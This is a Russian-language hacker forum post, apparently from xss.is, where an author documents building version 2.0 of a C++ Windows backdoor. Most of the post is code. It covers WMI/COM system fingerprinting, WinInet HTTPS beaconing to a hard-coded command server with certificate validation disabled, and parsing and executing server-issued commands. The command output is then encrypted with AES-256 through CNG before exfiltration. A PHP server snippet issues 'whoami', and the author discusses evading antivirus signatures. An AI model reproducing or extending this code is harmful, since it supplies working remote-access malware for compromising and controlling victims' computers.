бэкдор 2.0. Используем COM, HTTPS и шифрование.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Backdoor 2.0

Автор: OMAR_HAYAT

Источник: https://xss.is
Всем привет!

Пришло время подвести очередные итоги написания клиента на Cpp. Прошлая версия получилась предельно сырой, как носки при гулянии по лужам. В новой версии концентрация H2O снизилась. Тем не менее есть свои скользкие места.

Что удалось реализовать в версии 2.0:
0х01. Попытался навести порядок в коде применив заголовочные файлы;
0х02. Прикрутил работу с COM обьектами;
0х03. Обмен данными с сервером делаем через HTTPS;
0х04. Вывод команды теперь не просто кодируем в base64, а почти полноценно шифруем!

Теперь обо всём попрядку.


0х01. Попытался навести порядок в коде применив заголовочные файлы.

Захотелось разложить все основные куски кода по своим файлам. Так проще проследить логику проги в main`e и в перспективе можно будет подключать такие заголовочники в другие проекты. Пока что мне сложно сказать оптимально или нет я реализовал такую идею. Опыта в этом нет от слова совсем. Поэтому авторитетные оценки приветствуются.

C++: Скопировать в буфер обмена
Код:
#include <string>
#include "base64.h"
#include "wmi_com.h"
#include "send_msg.h"
#include "utils.h"
#include "exec_command.h"
#include "aes_crypto.h"


0х02. Прикрутил работу с COM обьектами.

Из анализа чужого кода и советов бывалых стало понятно что первичный сбор инфы лучше выполнять через различные сервисы и технологии встроенные в винду. Одна из самых частых, если не самая частая, это технология COM (Component Object Model). Я применил её для решения одной частной задачи. Определение UUID системы. Хотя потенциал у неё в вопросах сбора данных о системе значительно шире.

В main`е реализованно всё просто:
C++: Скопировать в буфер обмена
Код:
// Собираем первичную информацию о системе;
uuid = wmi_com();
std::wcout << L"UUID:  " << uuid << std::endl;
Потраха реализации лежат в wmi_com.h. Технология хорошо изучена. Теоритического и практического материала в достатке. Даже чатжпт даёт более менее рабочий код, который не требует напильника. Поэтому тут нет смысла останавливаться.


0х03. Обмен данными с сервером делаем через HTTPS.

Вот тут уже становится интереснее. В мэйне отправка представленна всего одной строкой в виде выполнения функции send_to_serv где в качестве аргументов передаём ип сервера и строку с именем и параметрами скрипта. Для понимания как эта функция работает смотрим заголовочник send_msg.h.
В качестве основы взят исходник: https://gist.github[.]com/AhnMo/5cf37bbd9a6fa2567f99ac0528eaa185

При ближайшем рассмотрении видно что применена виндовая библиотека WinInet. Да, по рекомендации бывалых заюзали WinAPI.
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>

#pragma comment (lib, "Wininet.lib")
Дальше всё по технологии. Вызываем последовательно нужные функции и заполняем у них аргументы требуетмыми параметрами что бы всё это хозяйство работало по протоколу HTTPS и подрубалось к 443 порту на сервере. На всяких гуглах и прочих сайтах с нормальными сертификатами пример кода из ссылки будет работать как надо. Сложности начнуться когда мы натянем на свой тестовый апачевый или энжинксный сервак самоподписаный сертификат для TLS протокола. Код будет отваливаться с ошибкой при выполнении функции HttpSendRequest. Гугление и чтение мануалов по этой функции породило такой код:
C++: Скопировать в буфер обмена
Код:
DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
Тут мы принуждаем наш код игнорировать неизвестные и просроченные сертификаты через присвоение переменной hHttpFile нужных параметров (SECURITY_FLAG_IGNORE_UNKNOWN_CA и SECURITY_FLAG_IGNORE_CERT_CN_INVALID). После чего всё начинает работать с нашим локальным сервером с самоподписанным сертификатом.

В остальном вроде всё просто. Ответ сервера забираем из переменной buffer. Запускаем на серваке tcpdump и смотрим как выглядят кракозябры в зашифрованных пакетах при отправке и получении данных между клиентом и сервером. Значит всё работает как надо! Можно идти дальше.


0х04. Вывод команды теперь не просто кодируем в base64, а почти полноценно шифруем!

Как по мне теперь мы подошли к самой интересной части моей писанины. Это работа с шифрованием. Разбираясь с этой темой и читая упоминания CryptoAPI из поисковика форума стало понятно, что тема эта была предельно актуальна в 19 и 20 годах! Сейчас обсуждений вроде как меньше. Хотя при упоминании о ней старожилы форума не проч её пообсуждать:) Но это всё лирика. Перейдём к делу.

Для начала предлагаю ответить на вопрос: что мы тут собрались шифровать? и надо ли это нам? Ситуация мне видиться следующим образом. Когда мы отправляем запрос на сервер адресная строка будет выглядить примерно следующим образом:
https://<host>/<scrypt>.php?<parametr>=<value_parametr>&<parametr>=<value_parametr>&<parametr>=<value_parametr>
где <value_parametr> будет передаваться в открытом виде.

В прошлой версии я банально заворачивал значение в base64 и не парился. Для нормальной работы всё что передётся в открытом виде надо шифровать. При шифрования конечного блока данных представленных у нас в виде строки идеально подходят симметричесные алгоритмы шифрования. Передовой на сегодняшний день AES (он конечно не совсем так называется, но все используют именно это имя). Его и будем использовать с 256 битным ключом.

Изучение теории по вопросу симметричных алгоритмов шифрования показало что наском такой вопрос не берётся. Поэтому тут будет показан одна из самых простых реализаций на основе AES-256-cbc. Да, для практики это так скажем не полноценная реализация. Решил сейчас описать что есть. И двинуться дальше в следующих статьях. Где хочу осветить более менее простым языком что значат все эти магические буквы и зачем Господа математики нагородили там такой огород.

Итак. Требуется зашифровать данные представленные в виде небольшой строки в кодировке base64. Какие у нас есть вариатны в рамках приложения запущенного под виндой? Я для себя определил три варианта:
а) Исходник алгоритма AES-256-cbc вкоряченный в заголовочный файл нашего апликейшена;
b) Использование библиотек вроде OpenSSL, Crypto++ и т.д.;
с) Использование CNG (Cryptography API: Next Generation).

а) Исходник алгоритма удалось найти на гитхабе. Его автор какая то милая индуска (судя по аватарке:)) О работоспособносте кода мне судить сложно. Когда я попробовал его в деле, результат отличался от результата онлайн шифрования на сайтах из гугла. Правда справедливости ради стоит сказать, что скорее всего там был мой косяк при вводе данных. С форматом ввода данных я тогда ещё не разобрался. Думаю если будет стоять цель реализовать именно этот вариант на практике, как основу такой исходник можно использовать. Какие плюсы? всё у нас внутри апликейшена и нет лишних зависимостей. Минусы? Для работы алгоритма требуется пара таблиц, которые зашиваются прямо в код. Сигнатурное палево для такого обеспеченно. Поэтому надо что то думать.

b) Бибилиотеки для меня оказались какие то геморные. Если бы не было третьего варианта, я бы скорее предпочёл первый. Да и копий о сторонних библиотеках в малварестроении на форме уже сломано достаточно, чтобы писать об этом ещё раз. Да и появился страх перед ссаными тряпками, которыми меня закидают завсегдатые программеры форума, если я применю библиотеки в таком билде:) Шутка:)

с) CNG - это апишка внутри видны, пришедшая на смену CryptoAPI. Опыта работы у меня с этими API у меня нет. Поэтому не скажу что там поменялось. Могу только сказать, что инфы по функциям и кодам ошибок этих функций из раздела CNG в инете удалось найти мало. чатжэпэтэ и мануалы мелкомягких это всё что доступно. Тем не менее удалось получить работоспособный код. Его и решил применить в проекте.

Вся внутрянка для реализации шифрования находится в заголовочнике aes_crypto.h. В мэйне прежде чем выполнить шифрование нам требуется подготовить для этого ключи и вектор инициализации. Их мы генерируем на сервере. При получении первого запроса с UUID системы сервер генерирует и передаёт клиенту пару iv_key в ответе на запрос вместе с командой. Так как для связи с сервером мы используем HTTPS ответ будет зашифрован и ключ с вектором в открытом виде будет виден только серверу и клиенту.
PHP: Скопировать в буфер обмена
Код:
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
    $key = openssl_random_pseudo_bytes(32);
    $command = base64_encode('whoami');
    echo($iv.$key.$command);
Думаю для мало посвящённых в шифрование самое непонятное из этих переменных, это какой то вектор инициализации. Предлагаю погуглить что это такое. Либо просто запомнить что есть такая переменна и при шифровании в моём случае без неё никуда. Так же стоит отметить, согласно интернетским мануалам функция для генерации ключа должна быть иная. По какой причине я пока саказать не могу. Этот вопрос требует дальнейшего изучения.

Ответ от сервера приходит в качестве одной строки. Поэтому для работы требуется всё разложить по своим местам:
C++: Скопировать в буфер обмена
Код:
respounce = send_to_serv(L"192.168.0.104", data_for_server.c_str());
// В ответ получаем IV (16 символов), ключ шифрования (32 символа), команду в формате base64;  
printf("%s\n", respounce);

// Разделим команду, ключ шифрования, значение IV;
for (int i = 0; i <= 15; i++) iv += respounce[i];
for (int i = 16; i <= 47; i++) key += respounce[i];

int size_command = strlen(respounce) - 48;
char* command = new char[size_command];

for (int i = 48; i < strlen(respounce); i++)
    command[i - 48] = respounce[i];

// Декодируем команду из base64
std::wstring command_wstr = base64_decode(StringToWString(std::string(command)));
std::string command_str = WstringToString(command_wstr);

// Выполняем команду;
result_command = exec_command(command_str.c_str());
Последние три строчки представленного кода думаю могут вызвать некоторые вопросы:) Тут думаю стоит подумат над иной реализацие кода для работы с base64.

Когда результат выполнения команды готов вызоваем функцию aes_256_cnc_encrpt.
C++: Скопировать в буфер обмена
Код:
// Шифруем вывод команды;
info = aes_256_cnc_encrpt(result_command, key, iv);
//std::wcout << info << std::endl;
info = base64_encode(info);
В качестве параметров передаётся три переменных result_command, key и iv. result_command-строка, которую будем шифровать. key - ключ шифрования. iv - вектор инициализации. Полученный после шифрования результат опять же заворачиваем в base64 чтобы его можно было передать в адресной строке на сервер.

Рассмотрим что лежит в заголовочнике. Всё хозяйство работает на основе встроенной в винду библиотеки bcrypt. Основная функция реализующая работу с API это aesEncrypt. В ней настраиваем алгоритм шифрования, ключ, вектор инициализации и попутно пытаемся обработать возможные ошибки.
C++: Скопировать в буфер обмена
Код:
std::vector<BYTE> aesEncrypt(const std::vector<BYTE>& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv) {
    BCRYPT_ALG_HANDLE hAlg = nullptr;
    BCRYPT_KEY_HANDLE hKey = nullptr;
    DWORD cbData = 0;
    NTSTATUS status;

    // Создание алгоритма AES
    handleError(status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0), L"Create algoritm AES");

    // Создание ключа
    handleError(status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), key.size(), 0), L"Create keys");

    // Установка IV
    handleError(status = BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Setup IV");

Для меня остался непонятным вопрос как точно выделить количество памяти под зашифрованые данные. Поэтому я выделил в два раза больше чем занимает строка, которую хотим шифровать.
C++: Скопировать в буфер обмена
Код:
// Подготовка буфера для шифрования
//std::vector<BYTE> ciphertext(plaintext.size() + BCRYPT_BLOCK_LENGTH);
std::vector<BYTE> ciphertext(plaintext.size() * 2);

Вызываем BCryptEncrypt и получаем готовый результат. Вроде всё просто, когда знаешь как обработать ошибки и какие параметры аргументов доступны для ввода.

В этом кейсе я впервые сталкнулся с типом данных BYTE. Оказалось очень удобно работать с инфой, понимая что именно в таком виде она хранится и обрабатывается машиной. При этом с удивлением обнаружил что не все ЯП имеют на борту такой тип данных. В PHP например я этого не нашёл. Как мне показалось удобно использовать одно представление информации в системах, которые ты пытаешься связать. А надстройки вроде кучи разных кодировок только мешают понять как организовать эту связь. Такие вот мысли вслух. Отвлёкся что то.


0х05. Заключение.

В этот раз не стал заливать билд на ВТ. В том виде в каком сейчас собрана логика работы программы она не имеет практического применения. Задача этого билда разобраться с новыми для меня технологиями (COM, работа с HTTPS и CNG в рамках WinAPI). Также полученный шифротекст никак не защищён от потери данных. Если в момент передачи по какой то причине измениться хотя бы один бит шифротекста мы про это изменение не узнаем. И получем неверное значение расшифрованной строки. Подозреваю что в шифровании есть ещё какие то тонкие места которые для меня пока ещё остались невидимы. Как по мне эта тема заслуживает отдельного разбора. Поэтому планирую в ближайшее время нырнуть туда с головой. Надеюсь как итог получится очередная моя писанина.

Всем добра!!!

P.S. пасс к исходникам прежний. Местный пароль в кодировке base64.

P.S. Хочу сказать слова благодарности всем форумчанам помогающим мне своими советами и ответами на таком нелёгком пути!!! Спасибо вам ребята!!!
 
Сверху Снизу